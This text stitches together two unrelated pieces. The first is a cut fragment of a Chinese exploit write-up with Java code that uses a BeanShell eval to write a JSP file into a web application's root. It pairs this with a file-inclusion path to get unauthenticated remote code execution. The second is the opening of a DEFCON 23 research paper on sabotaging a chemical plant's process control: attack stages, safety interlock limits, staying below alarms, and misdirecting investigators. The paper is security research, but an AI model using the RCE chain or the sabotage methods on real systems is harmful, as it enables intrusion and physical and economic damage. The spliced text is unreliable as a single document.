bsh.Interpreter .在获取当前类所在的路径。然后以 WEB- INF 进⾏分割。取第⼀个值(也就是⽹站根⽬录)。在下⾯创建⼀个loginx.jsp.然后写 ⼊内容。 访问 loginx.jsp 并不会302,因为其⽩名单中存在 login*.jsp 简化⼀下:本地跑⼀遍 import bsh.EvalError; import bsh.Interpreter; import java.util.HashMap; import java.util.Map; public class main { public static void main(String[] args) throws EvalError, ClassNotFoundException { Interpreter interpreter=new Interpreter(); String payload="import java.lang.*;\n" + "import java.io.*; "+ "File f=new File(\"/Users/yuanhai/Desktop/test/test/1.txt\");\n" + "f.createNewFile();\n" + "FileOutputStream fout=new FileOutputStream(f);\n" + "fout.write(new sun.misc.BASE64Decoder().decodeBuffer(\"aGVsbG8=\"));\n"+ "fout.close()"; interpreter.eval(payload); } } 其实这个洞是后台的,需要已登陆账户去调⽤才可。 但是结合先前的⽂件包含: /sys/ui/extend/varkind/custom.jsp 可以打前台 RCE。
pdf
Rocking the pocket book: Hacking chemical plants for competition and extortion Marina Krotofil Jason Larsen WHITE PAPER, DEFCON 23 FURTHER CO-AUTHORS AND CONTRIBUTORS: Alexander Isakov • Alexander Winnicki • Dieter Gollmann • Pavel Gurikov DAMN VULNERABLE CHEMICAL PROCESS https://github.com/satejnik/DVCP-VAC • https://github.com/satejnik/DVCP-TE This research was done in Hamburg University of Technology, Hamburg, Germany. August 2015 Contents 1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1.1 Process Control Systems 6 2 Classes of Cyber-Physical Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 2.1 Equipment damage 9 2.2 Production damage 9 2.3 Compliance violation 9 3 Stages of Cyber-Physical Attacks . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11 3.1 Access 11 3.2 Discovery 12 3.3 Control 13 3.4 Damage 13 3.5 Cleanup 14 4 Vinyl Acetate Monomer Process . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15 4.1 Process Description 15 4.2 Control Model 17 4.3 Simulation of Attacks 17 4 5 Attack for Production Damage . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 19 5.1 Preliminary Analysis 20 6 Attaining Attack Objectives . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21 6.1 Access 21 6.2 Discovery 21 6.3 Control 22 6.4 Damage 25 6.5 Cleanup 28 6.6 Discussion 31 7 Damn Vulnerable Chemical Process . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33 7.1 Framework description 34 7.2 Comparison of TE and VAM processes 38 7.3 Potential applications 39 8 Conclusion . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 48 References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 49 1. Introduction Advances in computing and networking have added new capabilities to physical systems that could not be feasibly added before. This has led to the emergence of engineered systems called cyber- physical systems: systems where the physical world is measured and controlled thanks to modern advances in computation and control. Complex machines such as aircrafts or robots, building automation systems, smart cities and smart grids, railways and agricultural systems, medical devices and industrial infrastructures in general are examples of cyber-physical systems. Perceived and real security threats affecting cyber-physical systems have been attracting considerable attention in the media, among decision makers, regulators, and in the research community. Cyber-physical systems span cyberspace and the physical world. The fact that they can cause tangible effects in the physical world and that, thereby, attacks in cyber space can have physical consequences has been a major reason for the current interest in this branch of security. The concern for physical consequences puts cyber-physical systems security apart from information security. On one hand, this is an issue that had to be dealt with already before physical systems were connected to cyberspace. Well-designed systems would have been deployed with appropriate safety measures in place. Conceivably, those measures can restrain cyber-physical attacks once they have transited from cyberspace into the physical domain. On the other hand, those countermeasures were designed under certain assumptions, e.g. physical security protecting access to premises or independence of component failures. Conceivably, those assumptions get invalidated once modern IT systems get integrated with existing physical plants. Integrating modern IT systems with existing physical systems exposes those installations to new security threats. Some of these threats are well-known in IT security and countermeasures have been studied at length. Those threats are new only because of a new application area. Other threats may indeed be specific to cyber-physical systems. Our work aims at making a distinction between “old” security issues in new settings, and new security aspects intrinsic to cyber-physical systems that would establish cyber-physical security as an object of study in its own rights. While compromising or disrupting devices or communication channels used to sense or control a physical system is a necessary requirement to attacks aimed at disrupting the physical process, the damage from the attack will be limited if the attacker is unable of manipulating the control 6 Chapter 1. Introduction system in a way to achieve her desired outcome in the physical world. After all, breaking into a system is not the same as breaking a system. In order to achieve a desired impact on a control system (like Stuxnet [32]), the attacker needs to assess how her attack will perform at the regulatory control level. Launching such an attack requires a different body of knowledge from the one used in IT security. In particular, attackers need to know how the physical process is controlled, and that includes knowledge of failure conditions of the equipment [33], control principles [53], knowledge of process behavior [40], and signal processing, etc. Your wish is my command? It is often claimed that “once communications security is compromised the attacker can do whatever she wants”. These are presumptuous claims. The attacker may well be able to inject any input she wants but this does not necessarily amount to being able to influence processes in the physical world at will. The processes and their actuators have to be properly understood. Process physics and built-in safety measures might get in the way of the attacker. In our work we consider the physical part of attacks and examine the hurdles an attacker might face when trying to manipulate physical processes, using realistic simulation model of a vinyl acetate plant as a case study. In our work we demonstrate a complete attack, from start to end, directed at persistent economic damage to a production site while avoiding attribution of production loss to a cyber-event. Such an attack scenario could be useful to a manufacturer aiming at putting competitors out of business or as a strong argument in an extortion attack. Process simulators play an important role in process control studies. Rigorous non-linear process models are useful tools for accurately understanding process dynamics, and thus can be used in both control structure development and validation. At this point in time, very few models of industrial processes are available for analysis by security researchers. To draw general lessons for cyber- physical systems security, be it on the true power of an attacker or on the efficacy of the defenses deployed, many more documented case studies will be necessary. 1.1 Process Control Systems In the process industry process refers to the methods of changing or refining raw materials to create an end product. Process industries include (petro)chemical, food, water treatment, power and other industries. Control refers to the methods that are used to control process variables when manufacturing a product. This is done for three major reasons: (1) reducing variability; (2) increasing efficiency; (3) ensuring safety. The first two points are important for plant economy. Reduced variability lowers operational costs and ensures consistent quality of the end product. Efficiency refers to the accurate maintenance of optimal production conditions to decrease the production bill. Precise control is important for preventing runaway processes and ensuring safe operations. The starting point in process engineering is deciding on a setpoint (SP) – the desired value of a certain process parameter, e.g. a tank level L. Level L is called measured variable and must be kept as close as possible to the setpoint by the means of control methods. Level L might be in fact determined indirectly via measuring two process variables (PV), in- and out-flows. If a level is measured directly, measured and process variable are the same. Process variables are processed by a controller containing a control algorithm based on a complex set of equations. The controller calculates the offset between SP and PV and outputs an actionable manipulated value (MV) to the 1.1 Process Control Systems 7 actuator to bring the process closer to the SP. Such interactions form a basic feedback control loop as shown in Fig. 1.1a. In practice, control loops can be complex. More common are multivariable or advanced control loops in which each MV depends on two or more of the measured variables (Fig. 1.1b). The strategies for holding a process at setpoint are not trivial, and the interactions of numerous setpoints in the overall process control plan can be subtle and complex. Process interactions may cause loop interactions via hidden feedback control loops. This makes controller tuning difficult and yields unstable loops. (a) Single feedback control loop (b) Multi-variable control loop Figure 1.1: Types of control loops Industrial Process Control Systems are used to provide autonomous control over a production process through control loops. They monitor the production process via sensors deployed around the product line and interact with the process through actuators. The complexity of modern production processes is usually simplified by dividing the control load into subsystems containing separate control loops. Heavy control loop couplings among subsystems are avoided. In order to enhance the security of an process control systems from a system perspective, secure control theory which studies how cyber attacks affect the physical dynamics of the system has been explored in recent years. 2. Classes of Cyber-Physical Attacks Modern industrial plants face multiple challenges – to deliver products at consistent quality and possibly low cost, to manage plant dynamics altered by material recycle and energy integration, to satisfy environmental and safety regulations, and to have a certain degree of flexibility to handle fluctuations such as production rate changes (in response to changing market demand) and feed quality. All of these are the responsibilities of a reliable and efficient control system. Modern plants are now becoming more complex than just the union of a set of unit operations. In information security, the attacker’s goal may be to exfiltrate information or to disrupt the normal operations of software. In the cyber-physical domain, the attacker’s goal is to disrupt the normal operations of control systems. When weaponizing a buffer overflow, shellcode is constructed that instructs a system to perform specific actions desired by the attacker. Similarly, in cyber-physical exploits the attacker’s payload will contain a set of instructions that manipulate the process, and the choice of instructions depends on the specific impact the attacker wants to have on the process. So what can actually be done to a process? The effects of cyber-physical attacks can be classified into three groups. Admittedly, the classes outlined are interrelated as damage of one kind may lead to another kind of damage. For example, production can be disrupted through breakage of equipment. Runaway reactions can cause serious safety accidents and equipment breakage. However, a clear understanding of the attack goal is necessary for maximizing attack impact and minimizing the cost of attack implementations avoiding “over-engineering”. Classes of cyber-physical attacks Equipment Damage Production Damage Compliance Violation • Equipment overstress • Product quality • Safety • Safety limits violation • Production rate • Pollution • Operating costs • Contractual treaties • Maintenance efforts 2.1 Equipment damage 9 2.1 Equipment damage This class of attacks aims for physical damage of equipment or infrastructure (e.g. pipes, valves). Larsen [33] discusses classes of physical damage. Equipment damage can be achieved in two ways. Overstress of equipment. Every equipment wears out or breaks at the end of its expected life cycle. Prolonged overstress of equipment can accelerate this process. An example are wear-off attacks on valves due to unstable process control. This type of attack was implemented in the second version of the Stuxnet worm [32]. Violation of safety limits. The second option is to violate safety limits, ideally in some smart way. In this way researchers at Idaho National Labs remotely destroyed a power generator [57]. This type of attack was also realized in the first version of Stuxnet [32]. Those targeting at continuous processes can consult [35] for safety limits of piping infrastructures and related equipment. 2.2 Production damage Instead of breaking equipment an attacker can go after the production process to spoil the product or make production more expensive. Attacks on production can be divided into three groups. Product quality and production rate. Attacks may be directed at the product itself – its quality or production rate. Every product has its specification and market prices for a specific quality. The attacker may turn the product unusable or reduce its value. The price of a product may rise exponentially with product purity. Table 2.1 presents relative prices for paracetamol. As can be seen, not achieving the desired product quality can be very expensive. Purity Price, Euro/kg 98% 1.0 99% 5.0 100% 8205.0 Table 2.1: Relative paracetamol prices. Source: sigmaaldrich.com Operating costs. After the process is tuned, the operator’s primary task is to keep the process as close as possible to the economically optimal operating conditions. Every plant has an objective cost function consisting of several components which impact the operating costs. It may be loss of raw materials in the purge, premature deactivation of the catalyst, or increased energy usage. Maintenance efforts. The attacker can impact a production process by increasing the main- tenance workload. Maintenance refers to troubleshooting process disturbances and equipment malfunction. For example, rapid operation of a flow valve causes a damaging cavitation process - the formation of vapor cavities in a liquid. Cavitation eventually wears the valve and leads to leaks (requiring valve replacement); also bubbling of a liquid substantially complicates process control. 2.3 Compliance violation Industrial sectors tend to be strongly regulated to ensure safety and to protect the environment. Non-compliance can attract fines and bad publicity, unlike attacks whose effect can be kept internal to a company. 10 Chapter 2. Classes of Cyber-Physical Attacks Safety. Most damaging would be attacks on occupational and environmental safety as they may result in lethal accidents and serious environmental damage. This type of attack in most cases will yield collateral damage. Environmental pollution Less dramatic would be attacks causing regulatory pollution limits to be exceeded. This can relate to the concentration and volume of gaseous emissions, water or soil contamination and similar. For example, if effluent from an industrial facility fails to meet local regulatory standards, the plant can be fined, and recurrent offenses can lead to plant shutdown. Negative impact on reputation may be a further consequence. Contractual agreements. Typically this refers to production schedules. Take vaccine production as an illustrative example. Reactions to outbreaks of a disease often lead to political and public pressure. Missing delivery schedules may cause contractual sanctions and bad publicity. 3. Stages of Cyber-Physical Attacks An attacker targeting a remote process may not immediately be gifted with complete knowledge of the process and the means to manipulate it. An attack may have to go through several stages before the evil goals can be achieved (Fig. 3.1). Perfect knowledge is never achieved and the attacker may need to circle back to previous stages or recursively repeat her exercises at the same stage. Figure 3.1: Stages of cyber-physical attacks 3.1 Access Access is the stage most resembling traditional IT hacking. In general, the attacker needs code executing somewhere in the victim’s network to manipulate the process and thus has to find some way in. 12 Chapter 3. Stages of Cyber-Physical Attacks A process network is usually connected to a business network and a field network along with various regulatory links relevant for any hazardous substances used. Along with all the data streaming off the control network that feeds corporate and third party systems, process control systems have many of the same needs as IT systems. Patches and anti-virus updates must flow into the network. Control commands must also flow out of the network to field equipment. Regulatory data must be sent to various agencies. Sometimes the data must be sent in real time. These data flows can be potential ways into the process network. This stage is largely the same as hacking into any other network. For inspiration and examples the readers may check the following references. Get your malware in via SCADA application [24] or whitelisting security service [25]. Select attractive vulnerability from [21], find vulnerable Internet facing devices as described in [36], exploit [4]. Rootkitting techniques for field devices (sensors, actuators) can be found in [34]. 3.2 Discovery This refers to discovering information about a plant from documentation. Without detailed knowl- edge, it is unlikely that an attacker can achieve more than nuisance. Blindly trying to destroy a process by overheating a tank, for example, will probably only result in exercising the emergency shutdown logic and the pressure relief valves. Espionage. Plants can be highly proprietary. If ten chemical engineers were tasked with building a talcum powder plant, they may build ten very different processes. Even if they were restricted to the exact same chemical process, they could make different choices in the design of the plant. They might choose different vendors for pumps and valves. That in turn would influence the sizing and placement of various pipes and holding tanks. That in turn would change the way the plant is controlled and the design of the control loops. Espionage and reconnaissance. The attacker must thus reconstruct the layout of the plant and how it carries out its functions. This is the most difficult and time consuming of the stages. There are several data sources that describe the process. The attacker may first study general information on the chemistry, kinetics, and thermodynamics of the physical processes of interest. This can be done by consulting open literature as well as proprietary information of process design companies. Operator screens are meant to be a human readable. Regulatory filings will describe the inner workings of safety or environmental related subsystems. Engineering diagrams may be stored in change management systems electronically so changes in the physical process can be matched to changes in the control logic. This part of the discovery stage may also involve espionage. Typical documents on plant design are Piping and Instrumentation Diagrams (P&ID), One-Line Diagrams which often contain information on safety interlocks, Cause & Effect Diagrams, Cable Schedule Diagrams, Project Interconnection Diagrams and others. Instrument I/O (input/output) Lists contain a list of instruments which serve as input or output of the control system. This list will contain such information as type of instruments and their location, range of set points, instrument tags and loop numbers, service descriptions, etc. The indispensability of this attack stage have been realized by attackers LONG time ago. From what is made public, the APTs targeting industrial and research organizations were in action already in 2006 [2] and probably earlier [54]. The massive spying on global oil, energy, and petrochemical companies were carried out in 2009 onwards [41, 11]. The attackers appeared to be especially interested in design documents, formulas, manufacturing processes and research materials. While a large number of espionage campaigns took place in the past years [54], one of them deserves closer 3.3 Control 13 attention as it also included reconnaissance capabilities2006 [20]: Using OPC, the malware component gathers any details about connected devices and sends them back to the C&C for the attackers to analyze. It appears that this component is used as a tool for intelligence gathering. So far, we have not seen any payloads that attempt to control the connected hardware. As always: we are living in interesting times. It is just a matter of time until “next generation” malware capable of process control (see next section) will be caught in wild. 3.3 Control In dynamic systems such as cyber-physical systems, the values of process variables change with time according to the laws of physics. However, transitioning of a process from one state to another is in most cases not instantaneous and adheres to the well-known fact that “things take time”. At this stage the attacker tries to discover the dynamic behavior of the process which can be described in the form of simple differential equations dy/dt = f(y,u), where u is an independent variable and y is the dependent variable which are related by cause-and-effect relationships. It is easy to discount the difficulties involved in making a process misbehave in a predictable way. The various pieces of a process are connected together in physical relationships. Increasing the temperature in a vessel will usually increase the pressure as well. Adding more chemicals from a holding tank will either decrease the amount of another chemical or increase the flow rate in the pipe. The attacker thus needs to develop a knowledge of all the side effects of manipulating the process. The process is not designed for the attacker. Every part of the process has a normal range and a possible range. Adjusting one part of the process for malicious purposes may have side effects on other parts of the process. The control stage studies what each actuator does and what side effects are possible. It may be possible to turn off a pump, but the side effect is that pressure builds up quickly in an upstream pipe. Not every action can be taken at every level of the process. Instructing a breaker to close while a line is charged may be prevented by an interlock. The attacker may need to hack an embedded controller to override that interlock. The control stage also involves the study of timings. If the damage occurs in seconds, a safety shutdown minutes later will not stop the attacker. Some part of control can be studied statically, but other parts must be investigated dynamically on the process (process reconnaissance). No diagram will every be detailed enough to accurately predict the travel time of a disturbance down a pipe to the accuracy needed to set up a resonance between two pumps. Since that data must be extracted from the live process, this is a great chance for the defenders to notice the attackers. 3.4 Damage Once the attacker understands the process and how to control it, she needs to decide how exactly to achieve her goals. There may be several competing scenarios. The attacker will need to develop some sort of measure (a metric) to choose between them. Bouncing some pumps off the floor until they break may be a good idea, but the economic damage to the target plant may be far less than, e.g., poisoning the catalyst in the reactor. Physical damage to a process may not come to a process engineer’s mind first. Engineers asked to attack a process tend to come up with what is known as “salty cookie” scenarios. A group of engineers asked to attack a cookie factory all hit on variations of putting too much salt in the cookies 14 Chapter 3. Stages of Cyber-Physical Attacks so they would become uneatable. However, in a real world scenario the actual damage to the food factory came from simultaneously creating too much product and disabling the emergency flushing system. The resulting clogged pipes had to be physically replaced after both water pressure and chemical means of clearing them failed. Accident data can be a good starting point when studying damage scenarios for a process. If a particular type of process has gone wrong in the past by accident, it stands to reason that an attacker may be able to make the process fail in a similar way by design. While the access phase is the one most familiar to a traditional IT hacker, the damage phase is the one least familiar. It often requires the input of subject matter experts to understand the full range of possibilities. 3.5 Cleanup In traditional IT hacking, a goal is to go undetected. In most process control scenarios, this is not an option. If a piece of equipment is damaged or if a plant suddenly becomes less profitable, someone will be sent to investigate. An attack will change things in the real world that cannot be removed by simply erasing the log files. The cleanup phase is about creating a forensic footprint for investigators by manipulating the process and the logs in such a way that the analyst draws the wrong conclusions. The goal is to get the attack blamed on operator error or equipment failure instead of a cyber event. An example of a cleanup phase would be to show the operator a process out-of-control, making her take a particular action. When investigators ask the operator if she was manually manipulating the process when it malfunctioned, she will answer in the affirmative. Another example would be damaging an actuator upstream of the attack to focus investigators towards a previous stage in the process. Synopsis 4. Vinyl Acetate Monomer Process Vinyl acetate monomer is a large-scale commodity chemical and is an essential chemical building block used in a wide variety of industrial and consumer products. VAC is a key ingredient in resins, intermediates used in paints, adhesives, coatings, textiles packaging, automotive plastic fuel tanks and many other final products. Detailed information about the product including regulatory, health, environmental, and physical hazard information can be found e.g. on the web page of The Dow Chemical Company [55]. 4.1 Process Description In the VAC process, there are ten basic unit operations, which include a vaporizer, a catalytic plug flow reactor, a feed-effluent heat exchanger (FEHE), a separator, a gas compressor, an absorber, a carbon dioxide CO2 removal system, a gas removal system, a tank for the liquid recycle stream, and an azeotropic distillation column with a decanter. The route for vinyl acetate manufacturing used in the process model is the same as employed in today’s manufacturing and involves seven chemical components. Ethylene C2H4, oxygen O2, and acetic acid HAc are provided as both fresh and recycled feeds and are converted into the vinyl acetate with water H2O and carbon dioxide CO2 as byproducts. The fresh C2H4 stream contains an inert component C2H6. The following reactions take place in the reactor: Main reaction: C2H4 +CH3COOH+ 1 2 O2 → CH2−−CHOCOCH3 +H2O, Side reaction: C2H4 +3 O2 → 2 CO2 +2 H2O. The reactor contains tubes packed with a catalyst. Both reactions are highly exothermic and require tight control of the reactor cooling. The side reaction of ethylene combustion to CO2 is highly undesirable as it lowers the conversion and complicates the removal of the reaction heat. Details of the ethylene combustion kinetics in the synthesis of vinyl acetate are presented in [23] The reactor effluent is sent to the separator, where gas and liquid are separated. The vapor from the separator goes to the compressor and the liquid stream becomes a part of the feed to the 16 Chapter 4. Vinyl Acetate Monomer Process Figure 4.1: Vinyl acetate monomer plantwide process control structure distillation column. The gas from the compressor is recycled back to the reactor through the absorber and the CO2 removal system. The liquid products, VAC and water, are withdrawn from the decanter. Fig. 4.1 illustrates the process flowsheet with the locations of contol valves. Readers are referred to [39] and Chapter 10 in [14] for a detailed process description, including the reaction rate expressions, steady state process data and the major aspects of each unit operation. To protect the proprietary information of any specific VAC production facility, the kinetic data, process flowsheet information, equipment data and modeling formulation in the published process came from the sources in the open literature (see [39] and references therein). Safety constraints Two key safety constraints exist in the process. Exceeding either of the safety limits will shut down the process via interlocks: • O2 concentration must not exceed 8 mol% anywhere in the gas recycle loop to remain outside the explosivity envelope of ethylene. More on the limits of oxygen concentration in gas mixtures can be found in [58]. • The pressure in the gas recycle loop and distillation column cannot exceed 965 kPa (140 psi) because of the mechanical construction limit of the vessels. Operating constraints The process constraints must be maintained to ensure efficient production without interruptions for maintenance. They are specified as the following upper and lower bounds for some of the process variables: • The peak reactor temperature along the length of the tube must remain below 200◦C to prevent 4.2 Control Model 17 mechanical damage to the catalyst requiring shutdown and catalyst exchange. • Liquid levels in the vaporizer, separator, absorber base, distillation column base, and decanter must operate within the limits of 10-90%. • Reactor inlet temperature and the hot side exit temperature form the heat exchanger must remain above 130◦C to avoid condensation of liquid. • Organic phase in the decanter must contain less than 600 mol/million of acetic acid to prevent product contamination. • The VAC composition in the bottoms stream must remain below 100 mol/million to prevent polymerization and fouling in the reboiler and vaporizer. In contrast to the TE test process, the VAC model is not accompanied with an objective operating costs function for process control optimization. Instead, the economic objective was formulated as balancing trade-offs in maximizing vinyl acetate production and recovery with minimizing carbon dioxide productions and energy consumption. 4.2 Control Model Similarly to the authors of TE process, Luyben and Tyreus proposed a set of control requirements but did not suggest any process control scheme challenging the research community to come up with their own control approaches, e.g. [40, 46, 14, 51]. The majority of the control design implementations were kept proprietary due to high modeling costs. To make the process model available for a wider range of users McAvoy et al. have developed a simulation model of VAC for Matlab [10] which we use in our experimental work. The process model includes 246 states, 26 manipulated variables XMV{1-26}, and 43 mea- surements XMEAS {1-43}. Readers are referred to [10] for a complete description of process model formulation, assumptions, and implementation. The process model utilizes a control structure proposed in [40]. Fig. 4.1 depicts the location of control loops. The numbering of control loops follows the numbering in Appendix 2 in [10]. Some manipulated variables are fixed and therefore their control loops are not shown. 4.3 Simulation of Attacks In cyber-physical hacking the attacker aims to cause tangible impact on the process. In the context of cyber-physical systems the attacker can either modify the control algorithm or tamper with controller inputs and outputs. Input data flow refers to the process data measured by sensors. These are con- trolled variables (CV) and process measurements. Output data represent control flow of manipulated variables (MV) which update states of the actuators. Communication channels from sensors and to actuators are susceptible to communication jamming (DoS) and data manipulation/injections attacks. We extended the Simulink model to simulate integrity attacks and DoS attacks on the sensors and manipulated variables (actuators). In this work we limited attacker’s capabilities to direct integrity attacks on manipulated variables (e.g., change output buffers of the controller or inject packets). 1 Let Y(t) be a manipulated variable at time t, 0 ≤ t ≤ T, where T is the duration of the simulation; time is discrete. The attack interval Ta is arbitrary and is limited to the simulation run time. In our setting, we simulate the compromised manipulated variable Y ′ as follows: 1The attacker can manipulate state of the actuators also indirectly by forging sensor readings as we presented in [31]. 18 Chapter 4. Vinyl Acetate Monomer Process Y ′(t) = Y(t), for t /∈ Ta Y a(t), for t ∈ Ta, where Y a(t) is the modified manipulated variable. During a DoS attack on a controller signal freshly generated manipulated variables do not reach the actuator. If Yj(t) is a manipulated variable for actuator j and the attack starts at time ta, we have: Y a j (t) = Yj(ta −1) where Y a t is stale manipulated variable (the last MV received from the controller before the DoS attack). In the context of Process Control Systems DoS attacks are similar to integrity attacks. The only difference is in how the attack value is brought about: by choosing DoS approach the attacker has to attack at a specific time (e.g. when a valve is all the way open or closed). The advantage of the DoS attacks is that they can be used to manipulate the process even if control traffic is authenticated and integrity protected. 5. Attack for Production Damage ‘You can do unfocused and uncontrolled magic without a wand but to do really good spells, yes, you need a wand.‘ -Joan Rowling on limits of magic in Harry Potter (2001) An attacker with an objective beyond simple mayhem will want to reliably manipulate the process and thus implement her attack in such a way that the process is still under control but in a way she needs to accomplish her goals. In the context of cyber-physical systems the “focused magic” is achieved with control theory methods. Controllability and Observability Controllability and observability represent two major concepts of modern control system theory [16]. These concepts were introduced by R. Kalman in 1960. Controllability: In order to be able to do whatever we want with the given dynamic system under control input, the system must be controllable. Observability: In order to see what is going on inside the system under observation, the system must be observable. Controllability is about whether one can design control input to steer the state to arbitrarily values. Observability is concerned with whether without knowing the initial state, one can determine the state of a system given the input and the output. Controllability and observability are dual aspects of the same problem: the process must be observable in order to be controllable. In this work we consider the scenario of economic damage to the plant. One way to influence production costs is to make process inefficient by inducing process disturbances and/or provoking control loops instabilities to increase maintenance efforts. However, creating loop instabilities can be a risky option as the attacker may loose control over the process herself. In the case of unskillful manipulations, the process can even become completely uncontrollable. In contrast, targeting loop effectiveness allows her to remain in control of the process and to adjust disruptive actions over time. To persist with her malign assault, the attacker would want to attract attention from process 20 Chapter 5. Attack for Production Damage operators as little as possible, e.g. by preventing alarms flashing on the operators’ screens. Designing an attack scenario is a matter of art as much as economic consideration. The cost of attack can quickly exceed damage worth. Out of this consideration we decided to manipulate the process without triggering alarms to save efforts on alarm suppression or process measurements spoofing. To do so the attacker needs to see the status and alarms for the entire VAC process. One of the good places could be a historian which are often mirrored in near real-time to the business network so that they can be queried by various regulatory processes. Another condition of persistence is avoiding attribution of the process misbehavior to a malicious misuse. This can be achieved by timing attacks to the specific events to misdirect operators’ attention. 5.1 Preliminary Analysis Distilled products represent the most valuable commodities leaving a refinery or chemical plant. Therefore maximum economic damage could be achieved by destroying the pipe that carries the final product into the storage vessels. This attack is certainly effective, but it will also be noticed and quickly fixed. For a prolonged damaging effect the attacker needs better scenarios. Figure 5.1: Simplified scheme of VAC plant The VAC plant can be roughly divided into two parts: reaction and refinement (Fig. 5.1). The refinement section is responsible for VAC distillation to ensure a final product meeting rigid specifi- cations. The refinement process consists of multiple units so the attacker has many opportunities to tamper with the process, but the operator also has many opportunities to notice changes and take compensating actions. Moreover, the operator may send impure product for extra refinement. In contrast, upsetting the reaction process inside of the reactor reliably yields reduced production of a useful product. With that, we we resolve to attack the reactor unit. Most factors influencing the reaction process can be described by either deactivation catalyst caused by high temperatures, reduction of reaction rate due to wrong ratio and/or preconditioning of the chemical components or reduction of the primarily reaction due to wrong material and energy balance. These will be the attack scenarios considered in this work. 6. Attaining Attack Objectives We now have a rough idea about how our specific malicious goal can be possibly achieved but not yet a final attack design. An attack will need to be delivered as a series of commands that manipulate the process to achieve the desired effects. Using the model described above, a specific set of attacks can be selected and developed for final delivery in the malign payload. 6.1 Access When considering hacking into a VAC process somewhere in the world, one must remember that this is a real facility with real-world needs. Data needs to flow, predictions need to be made, and equipment needs to be maintained. It has been said that all chemical plants start up in a state of imminent failure and then remain that way. When working with a model, it is easy to look at a process environment as static and stable. In reality, there are dedicated teams of workers whose sole purpose is to fix and improve the plant year round. Small armies of workers, consultants, and engineers come and go regularly. An attacker can take advantage of any of these interactions. 6.2 Discovery The chemical approach to VAC manufacturing is not a trade secret. There is a wealth of information on the process itself and how it is typically implemented in a factory. We assume that the attacker has already obtained knowledge about the process such as presented in Section 4.1. Here, we concentrate on discovering measurements and actuators available to the attacker at the reactor section. In industrial plants, large numbers of process variables must be maintained within specified limits in order for the plant to operate properly. Therefore process monitoring plays a key role in ensuring that plant performance satisfies the operating objectives. Abnormal process operation can occur for a variety of reasons including equipment problems, instrumentation malfunction, disturbances, etc. Sensor and monitoring equipment placement must satisfy three general objectives: (i) routine monitoring for specified limits; (ii) detection and diagnosis of abnormal operations; (iii) preventive monitoring for early indicators of equipment and process upsets. However, utilization of a large 22 Chapter 6. Attaining Attack Objectives number of sensors increases the required investment and maintenance costs and optimal sensor placement is an active research area. As a result the attacker may face the challenge of lacking the sensors needed to monitor her attack. Six sensors, XMEAS{1-6} and one flow composition analyzer are available to attacker at the reactor unit, vaporizer{P;L;T}, heater exit{T}, reactor exit{T;F}, and molar concentrations of the seven chemical elements in the reactor feed stream from analyzer, XMEAS{37-43}. Specifically, O2 concentration is used to monitor the hazardous conditions related to the explosivity of ethylene in the presence of oxygen. What might catch the attacker’s eye is the absence of an analyzer in the reactor exit stream. Thus she will not be able to directly obtain measurements of the molar concentration of the produced vinyl acetate in the reactor outflow.1 There are seven degrees of freedom XMV{1-7} available for control in the reactor unit, three reactants fresh feeds {O2;C2H4;HAc}, two valves to control vaporize{heater; vapor exit}, reactor preheater valve, and steam drum valve to control the reactor temperature. A quick analysis of the process flowsheet shows that all valves except XMV(3) control effects within the reactor unit itself. Thus, part of the ascetic acid inflow controlled by XMV(3) is sent into the vaporizer (reactor unit) and another part into the absorber (refinement section). Also, HAc comes from a supply tank. It means any attack on this feed will be buffered by the acetic acid holdup in the tank. Incidentally, we had discovered a disparity between process documentation and process implementation. Thus, inflow of ethylene XMV(2) is used to control the pressure in the absorber and not the pressure in the gas recycle loop. Thus any manipulation of this control loop will have effects on both the reactor and refinement sections. A sensor measuring a process variable important for safety or operating constraints will have an alarm or interlock set at certain operating ranges (see Section 4.1). A quick search of chemical engineering journals turns up information on the constraints and specifics of the process. Exact values can be discovered in operator screens, controller logic, one-line diagrams, etc. The basic plumbing of the process can be understood from the flow diagram (Fig. 4.1). In a real world scenario, this information would needed to be gathered from configuration files and other sources as described in Section 3.2. 6.3 Control At this stage the attacker explores dynamic responses of the process to various manipulations. Typically, digital controllers are designed based on process models and with very few exceptions the designs begin with the specification of some desired closed loop properties. The more proprietary information on the process dynamics and controller tuning the attacker can collect, the more accurately she would be able to identify the system. Some of the simulation results of the process response to step changes in a few set points are described in [40]. The authors mention that some dynamic behaviors of this process are not intuitively obvious. Understanding basic factors that influence dynamic effects of process behavior is fundamental to process control analysis. Thus, every controller is designed and tuned to perform at a certain operational range and may lose its authority in different operating conditions. This is among other reasons related to the non-linearity of most physical processes. It means that process response is not proportional to the applied input. For instance, the dynamic behavior of a process being heated from 140 to 150 degrees will be different from when it is further heated till 160 degrees. If the process 1Chemical composition analysis systems are expensive; their installation must be justified by important considerations such as safety or significant product quality improvement. 6.3 Control 23 was never expected to be heated to 160 degrees, the control algorithm may never have been tested for its performance in this temperature range. For two control loops to operate successfully in tandem each loop must “know” what the other is doing. Otherwise trying to achieve their respective objectives the two loops may act against the interest of the other. This phenomenon is known as loop interaction. Some control loop interactions occur naturally as a result of their physical and chemical make-up. Some loop interactions may arise as a consequence of process design. Typical examples are heat integration and recycle streams which create the potential for disturbance propagation and the alteration of dynamic system behavior. Without knowing the exact plant configuration it is not always possible to correctly determine whether a certain process response is related to a fundamental property of the plant or is a result of a specific attack parameter choice. While the attacker may apply many different attack patterns, in this work we consider the two following attacks: • Steady state attacks – step-like attacks which bring the process into the new state and leave it there (Fig. 6.1a). • Periodic attacks – recurring attacks interleaved with process recovery phases (Fig. 6.1b). 0 5 10 15 20 0.5 0.51 0.52 0.53 Hours Kmol/min Fresh O2 Feed (a) Steady state attack 0 5 10 15 20 146 148 150 152 154 156 158 Heater Exit Temperature Hours Deg C (b) Periodic attack Figure 6.1: Types of attacks on process behavior (red line denotes steady state value) The control phase is mostly about mapping out the dependencies between each actuator and all of the downstream measurements. Mapping of the dependencies can be done through detailed modeling or observations on the process itself. An attacker can make small changes in the process and then note those changes as they propagate through the various sensors. Whilst working with the model one can observe alarm generation and propagation. If this was an 